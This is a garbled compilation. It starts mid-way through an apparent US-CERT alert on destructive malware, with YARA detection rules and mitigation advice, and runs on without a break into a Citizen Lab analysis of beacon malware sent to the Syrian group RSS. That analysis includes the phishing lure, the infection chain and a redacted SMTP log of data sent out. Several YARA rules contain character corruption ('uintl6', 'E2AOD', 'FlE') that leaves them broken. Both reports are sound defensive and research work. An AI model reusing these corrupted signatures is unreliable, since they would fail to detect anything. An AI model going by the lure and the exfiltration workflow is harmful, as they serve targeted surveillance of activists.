(#BATCH_SCRIPT_LNl_l == 2) and all of them" Destructive Target Cleaning Tool: strings: $MCU_DLL_ZLIB_COMPRESSED2= {5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD} condition: $MCU_DLL_ZLIB_COMPRESSED2" Destructive Target Cleaning Tool: strings: $MCU_INF_StartHexDec = {010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865} $MCU_INF_StartHexEnc = {6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55} condition: $MCU_INF_StartHexEnc or $MCU_INF_StartHexDec Destructive Target Cleaning Tool: strings: $ = "SetFilePointer" $ = "SetEndOfFile" $ = {75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ffD5 56 ff 15?? ?? ?? ?? 56} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them Destructive Target Cleaning Tool: strings: $license= {E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C00 $PuTTY= {50007500540054005900} condition: (uint16(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and $license and not $PuTTY Malware used by cyber threat actor: strings: $heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3??????? 0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3} $heapCreateFunction = {558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1???????? 085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15??????? 085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8???? 000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15??????? 0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8???????? 59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8???? 000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3} $getMajorMinorLinker = {568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3} $openServiceManager = {FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74} condition: all of them Malware used by cyber threat actor: strings: $str1 = "_quit" $str2 = "_exe" $str3 = "_put" $str4 = "_got" $str5 = "_get" $str6 ="_del" $str7 = "_dir" $str8 = { C7 44 24 18 1F F7} condition: (uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Malware used by cyber threat actor: strings: $STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 } condition: (uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Recommended Security Practices Because of the highly destructive functionality of the malware, an organization infected with the malware could experience operational impacts including loss of intellectual property (IP) and disruption of critical systems. Actual impact to organizations may vary depending on the type and number of systems impacted. Tactical Mitigations Implement the indicators of compromise within your systems for detection and mitigation purposes. Encourage users to transfer critical files to network shares, to allow for central backed up. Execute daily backups of all critical systems. Periodically execute an offline backup of critical files to removable media. Establish emergency communications plans should network resources become unavailable. Isolate any critical networks (including operations networks) from business systems. Identify critical systems and evaluate the need for having on-hand spares to quickly restore service. Ensure antivirus is up to date. Disable credential caching for all desktop devices with particular importance on critical systems such as servers and restrict the number of cached credential for all portable devices to no more than three if possible. This can be accomplished through a Group Policy Object (GPO). Disable AutoRun and Autoplay for any removable media device. Prevent or limit the use of all removable media devices on systems to limit the spread or introduction of malicious software and possible exfiltration data, except where there is a valid business case for use. This business case must be approved by the organization Chief IT Security Officer, with policy/guidance on how such media should be used. Consider restricting account privileges. It is our recommendation that all daily operations should be executed using standard user accounts unless administrative privileges are required for that specific function. Configure all standard user accounts to prevent the execution and installation of any unknown or unauthorized software. Both standard and administrative accounts should have access only to services required for nominal daily duties, enforcing the concept of separation of duties. Lastly, disable Web and email capabilities on administrative accounts. Compromise of admin accounts is one vector that allows malicious activity to become truly persistent in a network environment. Ensure that password policy rules are enforced and Admin password values are changed periodically. Consider prohibiting hosts within the production environment or DMZ from sharing an Active Directory enterprise with hosts on other networks. Each environment should have separate forests within Active Directory, with no trust relationships allowed between the forests if at all possible. If necessary, the trust relationships should be one-way with the low integrity environment trusting the higher integrity environment. Consider deployment of a coaching page with click through acceptance; these are traditionally deployed in an environment to log the acceptance of network acceptable use policy or to notify users of monitoring. Coaching pages also provide some measure of protection from automated malicious activity. This occurs because automated malware is normally incapable of physically clicking an acceptance radial button. Automated malware is traditionally hardcoded to execute, then retrieve commands or additional executables from the Internet. If the malware is unable to initiate an active connection, the full train of infection is potentially halted. The danger still exists that the physical user will authorize access, but through the use of coaching pages, infections can be limited or at least the rate of infection reduced. Monitor logs -- Maintain and actively monitor a centralized logging solution that keeps track of all anomalous and potentially malicious activity. Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and fixes. Strategic Mitigations Organizations should review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. Always keep your patch levels up to date, especially on computers that host public services accessible through the firewall, such as HTTP, FTP, mail, and DNS services. Build host systems, especially critical systems such as servers, with only essential applications and components required to perform the intended function. Any unused applications or functions should be removed or disabled, if possible, to limit the attack surface of the host. Implement network segmentation through V-LANs to limit the spread of malware. Consider the deployment of Software Restriction Policy set to only allow the execution of approved software (application whitelisting) Recommend the whitelisting of legitimate executable directories to prevent the execution of potentially malicious binaries. Consider the use of two-factor authentication methods for accessing privileged root level accounts or systems. Consider deploying a two-factor authentication through a hardened IPsec/VPN gateway with split-tunneling prohibited for secure remote access. Deny direct Internet access, except through the use of proxies for Enterprise servers and workstations. Perform regular content filtering at the proxies or external firewall points of presence. Also consider the deployment of an explicit versus transparent proxy policy. Implement a Secure Socket Layer (SSL) inspection capability to inspect both ingress and egress encrypted network traffic for potential malicious activity. Isolate network services, such as email and Web application servers by utilizing a secure multi-tenant virtualization technology. This will limit the damage sustained from a compromise or attack of a single network component. Implement best practice guidance and policy to restrict the use of non-Foundation assets for processing or accessing Foundation-controlled data or systems (e.g., working from home, or using a personal device while at the office). It is difficult to enforce corporate policies, detect intrusions, and conduct forensic analysis or remediate compromises on non-corporate owned devices. Minimize network exposure for all control system devices. Control system devices should not directly face the Internet. Place control system networks behind firewalls, and isolate or air gap them from the business network. When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices. Industrial Control System (ICS)-CERT and US-CERT remind organizations to perform proper impact analysis and risk assessment prior to taking defensive measures. References Revisions December 19, 2014: Initial Release This product is provided subject to this Notification and this Privacy & Use policy. Malware Attack Targeting Syrian ISIS Critics by John Scott-Railton and Seth Hardy With the collaboration of Cyber Arabs. Media coverage: Associated Press, Forbes Summary This report describes a malware attack with circumstantial links to the Islamic State in Iraq and Syria. In the interest of highlighting a developing threat, this post analyzes the attack and provides a list of Indicators of Compromise. A Syrian citizen media group critical of Islamic State of Iraq and Syria (ISIS) was recently targeted in a customized digital attack designed to unmask their location. The Syrian group, Raqqah is being Slaughtered Silently (RSS), focuses its advocacy on documenting human rights abuses by ISIS elements occupying the city of ArRaqah. In response, ISIS forces in the city have reportedly targeted the group with house raids, kidnappings, and an alleged assassination. The group also faces online threats from ISIS and its supporters, including taunts that ISIS is spying on the group. Though we are unable to conclusively attribute the attack to ISIS or its supporters, a link to ISIS is plausible. The malware used in the attack differs substantially from campaigns linked to the Syrian regime, and the attack is focused against a group that is an active target of ISIS forces. Background: Citizen Journalists under Threat in ISIS-controlled Territories As the Syrian Civil War continues, Syrian citizen journalists and nonviolent activists operate in an increasingly unsafe environment. The regime has never welcomed their work, and has often targeted them for arrest and detention, and a multi-year hacking campaign (see Pro-Regime / Regime Linked Groups). Additionally, not all elements of the Syrian opposition have uniformly supported nonviolent activists and citizen journalists. More recently, in areas like Raqqah, nonviolent activists face a new and exceptionally grave threat: ISIS. A growing number of reports suggest that ISIS is systematically targeting groups that document atrocities, or that communicate with Western media and aid organizations, sometimes under the pretext of finding spies Map: Raqqah is indicated by the red arrow. Colors indicate areas mostly under the control of the following groups: Black = ISIS, Red = Syrian Regime, Green = Free Syrian Army, Yellow = Kurdish. Note: the map is not highly detailed, nor completely up-to-date, but is useful in showing general areas of control. Source: @DeSyracuse Ar-Raqqah, the city in which the case study is located, is situated in northern Syria and continues to be a key conflict flashpoint of the Syrian Civil War. In the spring of 2013, Islamists and Free Syrian Army (FSA) fighters took over ArRaqqah from regime forces. As ISIS gained momentum, they consolidated their control over the city, edging out FSAaffiliated groups through attacks, summary executions, and kidnappings against a range of groups, including ethnic and religious minorities. Information Control by ISIS During 2014, there were a number of reports many unconfirmed that ISIS confiscated smartphones and laptops from captured activists. According to Syrians who experienced these searches and spoke with one of the reports authors, ISIS sometimes extracts data from confiscated smartphones and laptops to collect information about people and groups they are targeting, as well as to seek evidence of un-Islamic activities. As ISIS cements their control of Ar-Raqqah and other territories, reports have emerged recently (though not all of them confirmed) suggesting that elements within ISIS are growing increasingly sophisticated at imposing control and targeting opponents using digital methods. Reports about ISIS targeting Internet caf s have grown increasingly common, and in some cases reports point to the possible use of keyloggers as well as unspecified IP sniffers to track behaviour in Internet cafes. The Situation of Nonviolent Activists and Citizen Journalists in Ar-Raqqah Nonviolent activists and citizen journalists based in Ar-Raqqah have provided the outside world with much of what we know about how ISIS treats the population. These activists and journalists face mortal danger for their actions, and reports have emerged of their detention and torture at the hands of ISIS. As ISIS continues to use social media to push the message that it is welcomed by the population of Ar-Raqqah, groups like Raqqah is being Slaughtered Silently (RSS) provide a compelling counter narrative. RSS hasn t escaped ISIS notice, and the group has been targeted for kidnappings, house raids, and at least one alleged targeted killing. At the time of writing, ISIS is allegedly holding several citizen journalists in Ar-Raqqah. Image 1: Example of an online threat made against RSS. The image, which cannot be confirmed, purports to show CCTV installed around Raqqah. In addition, RSS is targeted online by ISIS supporters with harassment, including threats to the physical safety of its members. For example, ISIS supporters have claimed that ISIS has established a system of CCTV cameras in Ar-Raqqah to observe residents movements. While this claim may be a bluff or exaggeration, at least one ISIS supporter has indicated on social media that this system could be used to look for members of RSS. Analyzing the Attack This section describes a highly targeted attack sent to an e-mail address belonging to RSS. The Citizen Lab analyzed this attack with the consent of RSS, which requested that their name be used in this report. The attack took the form of an unsolicited e-mail containing a download link to a decoy file. The file contained custom malware that profiled the victim s computer and beaconed its IP address to an e-mail account under the attacker s control. The Targeting of RSS The unsolicited message below was sent to RSS at the end of November 2014 from a Gmail email address. The message was carefully worded, and contained references specific to the work and interests of RSS. Targeting Email Thank you for your efforts to deliver a true picture of the reality of life in Raqqah. As Syrians residing in Canada we are working with media because we believe in the importance of shedding light on the realities of life in Syria, and Raqqah in particular. We are preparing a lengthy news report on the realities of life in Raqqah. We are sharing some information with you with the hope that you will correct it in case it contains errors. We have prepared a map of the city of Raqqah, in addition to a preliminary report. We hope that you have a look at it with them and inform us of any errors. We also hope that if you happen to be on Facebook, you could provide us with the account of the person responsible for the campaign, if you don t mind, so that we can communicate with him directly. You can see a preliminary copy of the report on this linkhttp://tempsend [DOT]com/[Redacted]With all respect [Name Redacted] Original Arabic + 567 I+7 , + M6 +7 > +7 : http://tempsend [DOT]com/[Redacted] [Name Redacted] We are unsure why the attacker specifically mentions Canada in the email lure. However, it is well known that Syria extensive diaspora (including in Canada) regularly engages in advocacy, sometimes in coordination with groups within Syria. Thus, the message is not on its face implausible. However, we note that the attacker also attempts to social engineer the identity of individuals working with RSS, by requesting a personal Facebook page. Analyzing the Malware The custom malware used in this attack infects a user who views the decoy slideshow, and beacons home with the IP address of the victim s computer and details about his or her system each time the computer restarts. Unlike Syrian regime-linked malware, it contains no Remote Access Trojan (RAT) functionality, suggesting it is intended for identifying and locating a target. Further, because the malware sends data captured by the malware to an e-mail address, it does not require that the attackers maintain a command-and-control server online. This functionality would be especially useful to an adversary unsure of whether it can maintain uninterrupted Internet connectivity. Narrative of Infection Accessing the link provided in the malicious e-mail sends the user to a .zip file hosted on file-sharing site tempsend.com. At the time of writing the file had been downloaded only 10 times Image 2: Tempsend screenshot The file to be downloaded is slideshow.zip MD5: b72e6678e79cc57d33e684528b5721bd This file contains slideshow.exe MD5: f8bfb82aa92ea6a8e4e0b378781b3859 This file is a self-extracting archive with an icon intended to suggest to the victim that it is itself a slideshow. When run, the file opens a slideshow of Google Earth screen captures to the victim, displaying a series of locations in Syria, and highlighting an ISIS HQ and other images showing the alleged locations of US airstrikes. Examples of images in the slideshow as follows: Infection and Data Collection When opened, the slideshow.zip file writes and executes several files: C:\Users\[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe AdobeR1.exe is malicious, while pictures.exe is the genuine slideshow displayed to the victim. When the slideshow is closed both AdobeR1.exe and pictures.exe are deleted. The AdobeR1 file writes a series of executable files that perform information collection and communication functions, including: C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\svhosts.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe Program Sequence The program sequence of data collection and sending is somewhat unusual, with each program performing a single task and communicating via markers left in the registry. Programs appear to make use of the Visual C++ Runtime Library. First, the program nvidrv adds itself to autorun: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under name UpdAdbreader It also creates a series of registry keys that the individual programs use to communicate: Registry keys and programs using them: rundl132.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F-DKV8J-FKVJIGVKBU\6nvisdvr.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F-DKV8J-FKVJIGVKBU\4GoogleUpate.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F-DKV8J-FKVJIGVKBU\3AdbrRader.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F-DKV8J-FKVJIGVKBU\2nvidrv.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F-DKV8J-FKVJI-GVKBU\1 Sets name to StartupInfo structure as a string, e.g. 0x3110x611 It then runs GooglUpd, which cleans up the program files if they exist, and runs AdbrRader. AdbrRader (communicating through registry key ) writes the file vgadmysadm.tmp with the name of another registry key with startup info. C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\ vgadmysadm.tmp Next, nvidrv runs GoogleUpate, which collects system information and writes it to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp Then nvidrv runs nvisdvr (registry key ) that collects a list of running processes, which are written to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp Finally, nvidrv runs svhosts, which tests Internet connectivity by doing a DNS query for windowsupdate.microsoft.com. It then runs rundl132 if it has not before, by checking whether registry key name is present. It sets the key to and runs it. Next, rundl132.exe performs an HTTP GET request to myexternalip.com and collects the external IP of the infected machine: GET /raw HTTP/1.1 Host: myexternalip.com Cache-Control: no-cacheHTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: [REDACTED] My-External-Ip: [REDACTED]f [REDACTED]0 Next, rundl132 writes: C:\Users\[Username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q7B90TFG\raw[1].txt Then rundl132 writes the external IP to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp Finally, rundl132 runs AdobeIns, which zips the contents of the win32.tmp folder. Program AdobeIns.exe takes the files written by the other programs and zips them in an encrypted, passwordprotected file: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd Data Transmission Data is transmitted by e-mail to an account presumably controlled by the attacker. AdobeIns connects to an account at the online e-mail provider inbox.com via smtp using hardcoded credentials. The malware then sends an e-mail to the same inbox containing the text Hello and with mxtd file attached. SMTP traffic generated by the malware to inbox.com (with redactions) 220 [REDACTED]ESMTP Postfix EHLO [REDACTED] 250-[REDACTED] 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN MAIL FROM:< [REDACTED]@inbox.com> 250 2.1.0 Ok RCPT TO:< [REDACTED]@inbox.com> 250 2.1.5 Ok DATA 354 End data with . Date: [REDACTED] From: <[REDACTED]@inbox.com> X-Priority: 3 (Normal) To: <[REDACTED]@inbox.com> Subject: repo MIME-Version: 1.0 Content-Type: multipart/mixed; boundary= __MESSAGE__ID__[REDACTED] __MESSAGE__ID__[REDACTED] Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bitHello __MESSAGE__ID__[REDACTED] Content-Type: application/x-msdownload; name= mxtd Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename= mxtd [REDACTED] __MESSAGE__ID__[REDACTED] 250 2.0.0 Ok: queued as [REDACTED] QUIT 221 2.0.0 Bye Evaluation of the Malware s Functionality The malware seen in this case study is unusual as it relies on a half-dozen separate executable files, each with a single task, and each communicating via markers dropped in the Registry. The malware is also interesting because it does not provide remote access, but only sends an e-mail containing the victim s IP address and miscellaneous system information. The malware resends the information each time the computer is restarted, but it does not refresh the sent information on restart (which may be a bug). This behaviour strongly suggests that the function of this malware is to serve as a beacon. The system information could be used to identify processes to exploit in the future, however since the attacker has already triggered the execution of a file on the victim s system, it is surprising that more was not taken, or that a RAT (custom or widely available) was not used. A RAT would have provided much greater access alongside IP information By not providing remote access and other RAT functionality, the program looks less like malware, and may attract less attention from endpoint protection tools and scanners. Detections were low when the file was first submitted to VirusTotal, for example. It registered only 6/55 detections by anti virus scanners, or a 10% detection rate. Transmitting the malware via e-mail also provides a degree of obscurity, and has the additional advantage of providing a layer of abstraction between the attacker and the target: there is no need to maintain a RAT command-and-control server. The malware transmits autonomously, leaving the material in an inbox for the attacker to collect at a later time. The malware has no obfuscation processes and is not highly technical in its development or interaction with Windows. Nevertheless, we believe that the author of the program is aware of certain techniques to reduce the visibility of malware on a network, including transmitting data via encrypted e-mail communications. However, the attacker has not correctly implemented encrypted e-mail: the malware will not attempt to use a TLS connection in certain cases. As a result, account login credentials may be readily available in network traffic. In addition, the malware uses the old PKWARE implementation of zip encryption, which is not particularly secure. The password for the zipped file is also present in the binary without encryption or obfuscation. Targeted Threats Index Citizen Lab researchers have developed the Targeted Threat Index (TTI) as a tool to standardize information about the sophistication of targeted threats against civil society groups in our research. The index captures information about the level of social engineering used ( Targeting Sophistication ), and adds a Technical Sophistication value for the attack as a multiplier. This attack, which has little technical sophistication (i.e., it uses no exploits, code obfuscation, or techniques to frustrate reversing, etc.), nevertheless has carefully developed social engineering in the seeding materials and bait document. Taken together it rates a 3 for Targeting Sophistication and a 1.25 for Technical Sophistication by our metric, yielding a TTI score of 3.75. Citizen Lab research using the TTI has found that, despite low levels of technical sophistication, with well-crafted social engineering malware attacks remain highly effective against civil society groups. More information is available about the TTI in a recent Usenix Security paper. Attribution There are at least three possible sources for this malware attack: Pro-regime / regime-linked malware groups ISIS-linked hackers Other, unknown actors We evaluate each of these possibilities in turn, drawing on the information available to us after almost three years of tracking regime-linked malware. Pro-Regime / Regime-Linked Groups Pro-regime malware actors have continually targeted the Syrian opposition with waves of malware since at least late 2011. Those campaigns have been extensively reported on by a range of groups, including Kaspersky, FireEye, Citizen Lab, the Electronic Frontier Foundation, and many others. Regime-linked malware has a number of common features that typically serve as distinguishing characteristics: Social engineering focusing on the needs and interests of the opposition. Although targeted, the malware seeding often aims at classes of people (e.g., people interested in shocking news about a fighter, or leaked information about the Assad regime) rather than carefully written spear phishing targeting a single individual or small group. Use of widely available RATs (njRAT, Xtreme Rat, ShadowTech Rat, DarkComet RAT, and Blackshades RAT, among others). At least one command-and-control server located within Syrian IP space (often from a limited range of addresses). Frequent use of Dynamic DNS providers like no-ip. Use of crypters to obscure the binary. These characteristics are not all present in every sample, but we have typically found one or more in almost every binary we have examined that is Syrian regime-linked. This malware attack differs from known regime-linked groups in each of these elements. Not only is it exceptionally targeted, but it is also not a commonly available RAT. Nor does it have RAT functionality. The function of the malware appears to be: identify and unmask the IP address of target(s), and resend them to the attacker with each reboot. In addition, data is sent to an Internet e-mail address, and no crypter is used to obscure the binary. We are aware of only one previous case in Syria in which e-mail was used to transmit data, and that we believed was regime linked. That incident, observed in 2012, also used hardcoded e-mail to exfiltrate. However, that malware had substantially more functionality than this case: not only did it drop a second stage from a compromised site, but was also included a mechanism for exfiltrating credentials from Facebook and hooking programs like Skype. The lack of overlap in Tactics, Techniques, and Procedures (TTPs) between this attack and prior attacks does not rule out Syrian regime-linked attackers. It is possible that regime-linked groups are trying a new approach. However, given that known regime-linked groups continued to remain active during the same date range using familiar TTPs, this scenario seems unlikely. In addition, it would be strange for regime-linked malware groups to undertake significant effort to prepare and send an implant that has significantly less functionality than what they commonly use. Taken together, we find this evidence supports the hypothesis that familiar regime-linked groups did not conduct the attack. ISIS-linked Hackers RSS operates in territory controlled by ISIS, and has faced extensive targeting by ISIS. Currently, they appear to be directly targeted by ISIS for kidnappings and other retaliation, including executions. In addition, ISIS supporters have explicitly suggested that the group is under surveillance and actively hunted. Together this evidence suggests that ISIS has a strong motivation for using social engineering and/or malware to locate the members of RSS. We think there are several features of the malware attack that align with the needs and constraints of ISIS and its supporters in Ar-Raqqah, more so than other groups, as we understand them. For example: The malware beacons location but does not provide RAT functionality. The seeding attempts to obtain a private Facebook identity from RSS through social engineering. The malware exfiltrates to an online e-mail account, thus not requiring the attacker to maintain a command-andcontrol server online. The social media activity of members of RSS is often highly public. Their location and exact membership, however, is secret. We speculate that if an attacker were interested in maintaining long-term surveillance of the activities of RSS they could have employed a RAT. However, if the attacker were interested in unmasking the location of its targets so they could be physically tracked down, collecting IP data and system info would be a more reasonable approach. ISIS or its supporters clearly have a strong interest in the (rudimentary) location tracking of the members of RSS that this malware provides. Internet connectivity in Raqqah is extremely limited, and some of it is under ISIS control. Knowing the IP address of a target could quickly narrow down targets to specific locations, and specific Internet services, or Internet cafes in Raqqah. Given that the identities and locations of RSS members are closely guarded, such information would hold significant intelligence value for ISIS. Armed with this kind of information, ISIS could physically harm people within Raqqah (and it is also possible that they have the ability to operate in some capacity in border areas of Turkey). Little is publicly known about the technical capabilities of ISIS and its supporters; however, reports have begun to emerge suggesting that ISIS is interested in expanding its abilities. In addition, ISIS has reportedly gained the support of at least one individual with some experience with social engineering and hacking: Junaid Hussain (aka TriCk), a former member of teamp0ison hacking team. While Mr. Hussain and associates have reportedly made threats against Western governments, it is possible that he or others working with ISIS have quietly supported an effort to identify the targeted organization, which is a highly visible thorn in the side of ISIS. Other Unknown Actors It is possible that the attack is the product of actors working for unknown purposes and targeting RSS. Given the activities of RSS, however, it is unclear who this might be. It is not possible, for example, to reject the theory that some unknown group within the FSA, or other groups opposing the Assad regime are responsible. Citizen journalists in Ar-Raqqah were previously critical of arbitrary arrests carried out by non-ISIS groups in 2013. However, it is unclear why those groups, which no longer control Ar-Raqqah, would be interested in RSS in November 2014. It is likely that third party actors, including several intelligence services, are closely monitoring various actors in the conflict through a range of electronic means. However, there is little reason to suggest that they would use a tailored but technically rudimentary attack to target RSS in particular. Conclusion: ISIS Can t Be Ruled Out After considering each possibility, we find strong but inconclusive circumstantial evidence to support a link to ISIS. However, we are unable to connect this attack directly to ISIS, Mr. Hussain, or other ISIS supporters. If indeed ISIS or its supporters are responsible, it seems reasonable that such an offensive capability may still be in development. We hope that publishing this report will draw attention to a new and concerning threat that includes ISIS critics among its targets. If ISIS is responsible, while this attack targets in-country impediments to ISIS objectives, other targets may include ideological or military adversaries abroad. Whether or not ISIS is responsible, this attack is likely the work of a non-regime threat actor who may be just beginning to field a still-rudimentary capability in the Syrian conflict. The entry costs for engaging in malware attacks in a conflict like the Syrian Civil War are low, and made lower by the fact that the rule of law is nonexistent for large parts of the country. In still other parts (under regime control), malware attacks appear to be state sanctioned. Attacks Targeting Civil Society Citizen Lab research into targeted digital threats against civil society confirms that civil society groups face grave threats from targeted malware attacks, despite being under-resourced to defend against them. The case highlighted here is no exception: lack of IT and security resources have made it difficult for the Syrian opposition to address targeted and persistent digital threats against them. In addition, if ISIS is indeed responsible, this case suggests how easy it is for belligerents in a conflict to begin fielding basic offensive digital capabilities, and how quickly the capabilities can be pointed at unarmed civil society groups. Warning: Social Engineering Thrives in Syrian Context This attack was exceptionally targeted, and clearly reflected the work of an actor familiar with the operations of the targeted organization. As most organizations working on issues surrounding Syria are aware, malware delivered with good social engineering is a constant source of danger. This particular attack can be prevented by not opening files sent by unknown persons. However, many attacks in Syria come from hijacked accounts and impersonate people known to the targets. Social engineering remains an unsolved problem, and continues to compromise groups throughout the Syrian opposition and their supporters. This attack reaffirms the dangers posed by social engineering attacks, whether they deliver phishing campaigns or malware. The circumstantial evidence of ISIS involvement suggests that groups working on topics that ISIS considers a threat, and their partner organizations and supporters, should urgently examine their security policies and assess the possible risks to their operations, and the consequences of exposure of sensitive information to ISIS. Even if the link to ISIS turns out to be incorrect, it is possible that this will be a threat in the future. Individuals and groups at risk can also consult materials in Arabic provided by Cyber Arabs including a series of very accessible videos on digital security. Indicators of Compromise The malware files Filename slideshow.zip b72e6678e79cc57d33e684528b5721bd slideshow.exe f8bfb82aa92ea6a8e4e0b378781b3859 Files dropped by the malware Filename and Path C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe (note: folder and file deleted after slideshow closed) aa6bcba23cd39c2827d72d33f5104856 C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe (note: folder and file deleted after slideshow closed) eda83c8e4ba7d088593f22d56cf39d9f C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe 9d36e8e3e557239d7006d0bb5c2df298 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe 1d5d8c5ce3854de61b28de7ca73093f1 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe 55039dd6ce3274dbce569473ad37918b C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe efdd9b96ae0f43f7d738ead2e1d5430c C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe 0e3eb8de93297f12b56de9fc33657066 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe 3eb6f95c321ace0e3b101fd7e2cdd489 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe 84bbd592a212f5a84923e82621e9177d C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\ svhosts.exe 13caa1c95e6610f2d5134174e1fb4fd0 Collected Information Files (unencrypted) Filename and Path C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgadmysadm.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp Exfiltrated file (encrypted) Filename and Path C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd Registry Keys Filename and Path DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1FDKV8J-FKVJI-GVKBU\1 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2FDKV8J-FKVJI-GVKBU\2 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3FDKV8J-FKVJI-GVKBU\3 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4FDKV8J-FKVJI-GVKBU\4 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6FDKV8J-FKVJI-GVKBU\6 Acknowledgements Acknowledgements: We are grateful to Cyber Arabs and the Institute for War and Peace Reporting for their critical work and assistance. Special thanks to: several anonymous Syrians, Masashi Crete-Nishihata, Sarah McKune, Morgan Marquis-Boire, Ron Deibert, Bill Marczak, Nart Villeneuve, Irene 